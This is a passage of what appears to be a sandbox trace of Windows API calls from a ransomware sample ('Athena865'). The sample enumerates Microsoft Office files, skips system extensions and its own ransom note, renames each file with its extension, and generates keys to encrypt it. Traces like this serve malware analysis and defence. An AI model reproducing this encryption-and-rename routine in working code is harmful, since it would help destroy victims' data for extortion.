lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.athena865"), dwFlags=0x1) returned 1 [0146.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.923] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88464) returned 1 [0146.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.923] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.924] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.924] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.924] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15c90, lpName=0x0) returned 0x154 [0146.926] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15c90) returned 0x100000 [0146.930] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.930] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.930] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.931] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.932] CloseHandle (hObject=0x154) returned 1 [0146.932] CloseHandle (hObject=0x17c) returned 1 [0146.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.933] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUNNY.CSS", cAlternateFileName="")) returned 1 [0146.933] lstrcmpiW (lpString1="SUNNY.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.933] lstrcmpiW (lpString1="SUNNY.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.933] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SUNNY.CSS" | out: lpString1="SUNNY.CSS") returned="SUNNY.CSS" [0146.933] lstrlenW (lpString="SUNNY.CSS") returned 9 [0146.933] lstrlenW (lpString="Athena865") returned 9 [0146.933] lstrlenW (lpString=".dll") returned 4 [0146.933] lstrcmpiW (lpString1="SUNNY.CSS", lpString2=".dll") returned 1 [0146.933] lstrlenW (lpString=".lnk") returned 4 [0146.933] lstrcmpiW (lpString1="SUNNY.CSS", lpString2=".lnk") returned 1 [0146.933] lstrlenW (lpString=".ini") returned 4 [0146.933] lstrcmpiW (lpString1="SUNNY.CSS", lpString2=".ini") returned 1 [0146.933] lstrlenW (lpString=".sys") returned 4 [0146.933] lstrcmpiW (lpString1="SUNNY.CSS", lpString2=".sys") returned 1 [0146.933] lstrlenW (lpString="SUNNY.CSS") returned 9 [0146.933] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.Athena865") returned 67 [0146.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css.athena865"), dwFlags=0x1) returned 1 [0146.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.935] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0146.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.935] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.936] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.936] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.936] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.938] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.938] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.939] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.939] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.940] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.940] CloseHandle (hObject=0x154) returned 1 [0146.940] CloseHandle (hObject=0x17c) returned 1 [0146.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.940] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUNSET.CSS", cAlternateFileName="")) returned 1 [0146.940] lstrcmpiW (lpString1="SUNSET.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.940] lstrcmpiW (lpString1="SUNSET.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.940] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SUNSET.CSS" | out: lpString1="SUNSET.CSS") returned="SUNSET.CSS" [0146.940] lstrlenW (lpString="SUNSET.CSS") returned 10 [0146.941] lstrlenW (lpString="Athena865") returned 9 [0146.941] lstrcmpiW (lpString1="UNSET.CSS", lpString2="Athena865") returned 1 [0146.941] lstrlenW (lpString=".dll") returned 4 [0146.941] lstrcmpiW (lpString1="SUNSET.CSS", lpString2=".dll") returned 1 [0146.941] lstrlenW (lpString=".lnk") returned 4 [0146.941] lstrcmpiW (lpString1="SUNSET.CSS", lpString2=".lnk") returned 1 [0146.941] lstrlenW (lpString=".ini") returned 4 [0146.941] lstrcmpiW (lpString1="SUNSET.CSS", lpString2=".ini") returned 1 [0146.941] lstrlenW (lpString=".sys") returned 4 [0146.941] lstrcmpiW (lpString1="SUNSET.CSS", lpString2=".sys") returned 1 [0146.941] lstrlenW (lpString="SUNSET.CSS") returned 10 [0146.941] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.Athena865") returned 68 [0146.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css.athena865"), dwFlags=0x1) returned 1 [0146.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.943] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0146.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.943] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.944] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.944] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.944] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.945] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.946] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.947] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.947] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.947] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.948] CloseHandle (hObject=0x154) returned 1 [0146.948] CloseHandle (hObject=0x17c) returned 1 [0146.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.948] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TERRCOTT.CSS", cAlternateFileName="")) returned 1 [0146.948] lstrcmpiW (lpString1="TERRCOTT.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.948] lstrcmpiW (lpString1="TERRCOTT.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.948] lstrcpyW (in: lpString1=0x241e8a8, lpString2="TERRCOTT.CSS" | out: lpString1="TERRCOTT.CSS") returned="TERRCOTT.CSS" [0146.948] lstrlenW (lpString="TERRCOTT.CSS") returned 12 [0146.948] lstrlenW (lpString="Athena865") returned 9 [0146.948] lstrcmpiW (lpString1="RCOTT.CSS", lpString2="Athena865") returned 1 [0146.948] lstrlenW (lpString=".dll") returned 4 [0146.948] lstrcmpiW (lpString1="TERRCOTT.CSS", lpString2=".dll") returned 1 [0146.948] lstrlenW (lpString=".lnk") returned 4 [0146.948] lstrcmpiW (lpString1="TERRCOTT.CSS", lpString2=".lnk") returned 1 [0146.948] lstrlenW (lpString=".ini") returned 4 [0146.948] lstrcmpiW (lpString1="TERRCOTT.CSS", lpString2=".ini") returned 1 [0146.948] lstrlenW (lpString=".sys") returned 4 [0146.948] lstrcmpiW (lpString1="TERRCOTT.CSS", lpString2=".sys") returned 1 [0146.948] lstrlenW (lpString="TERRCOTT.CSS") returned 12 [0146.949] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.Athena865") returned 70 [0146.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css.athena865"), dwFlags=0x1) returned 1 [0146.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.951] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0146.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.951] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.952] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.952] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.952] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.954] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.962] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.963] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.963] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.963] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.964] CloseHandle (hObject=0x154) returned 1 [0146.964] CloseHandle (hObject=0x17c) returned 1 [0146.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.964] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50e86000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x44b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TIMESOLN.VSL", cAlternateFileName="")) returned 1 [0146.964] lstrcmpiW (lpString1="TIMESOLN.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.964] lstrcmpiW (lpString1="TIMESOLN.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.964] lstrcpyW (in: lpString1=0x241e8a8, lpString2="TIMESOLN.VSL" | out: lpString1="TIMESOLN.VSL") returned="TIMESOLN.VSL" [0146.964] lstrlenW (lpString="TIMESOLN.VSL") returned 12 [0146.964] lstrlenW (lpString="Athena865") returned 9 [0146.964] lstrcmpiW (lpString1="ESOLN.VSL", lpString2="Athena865") returned 1 [0146.964] lstrlenW (lpString=".dll") returned 4 [0146.964] lstrcmpiW (lpString1="TIMESOLN.VSL", lpString2=".dll") returned 1 [0146.964] lstrlenW (lpString=".lnk") returned 4 [0146.964] lstrcmpiW (lpString1="TIMESOLN.VSL", lpString2=".lnk") returned 1 [0146.964] lstrlenW (lpString=".ini") returned 4 [0146.964] lstrcmpiW (lpString1="TIMESOLN.VSL", lpString2=".ini") returned 1 [0146.964] lstrlenW (lpString=".sys") returned 4 [0146.965] lstrcmpiW (lpString1="TIMESOLN.VSL", lpString2=".sys") returned 1 [0146.965] lstrlenW (lpString="TIMESOLN.VSL") returned 12 [0146.965] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.Athena865") returned 70 [0146.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.athena865"), dwFlags=0x1) returned 1 [0146.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.967] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=281448) returned 1 [0146.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.968] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.968] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.968] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.969] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44e70, lpName=0x0) returned 0x154 [0146.970] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44e70) returned 0x2bb0000 [0146.986] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.986] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.986] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.987] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0146.989] CloseHandle (hObject=0x154) returned 1 [0146.989] CloseHandle (hObject=0x17c) returned 1 [0146.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.991] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, 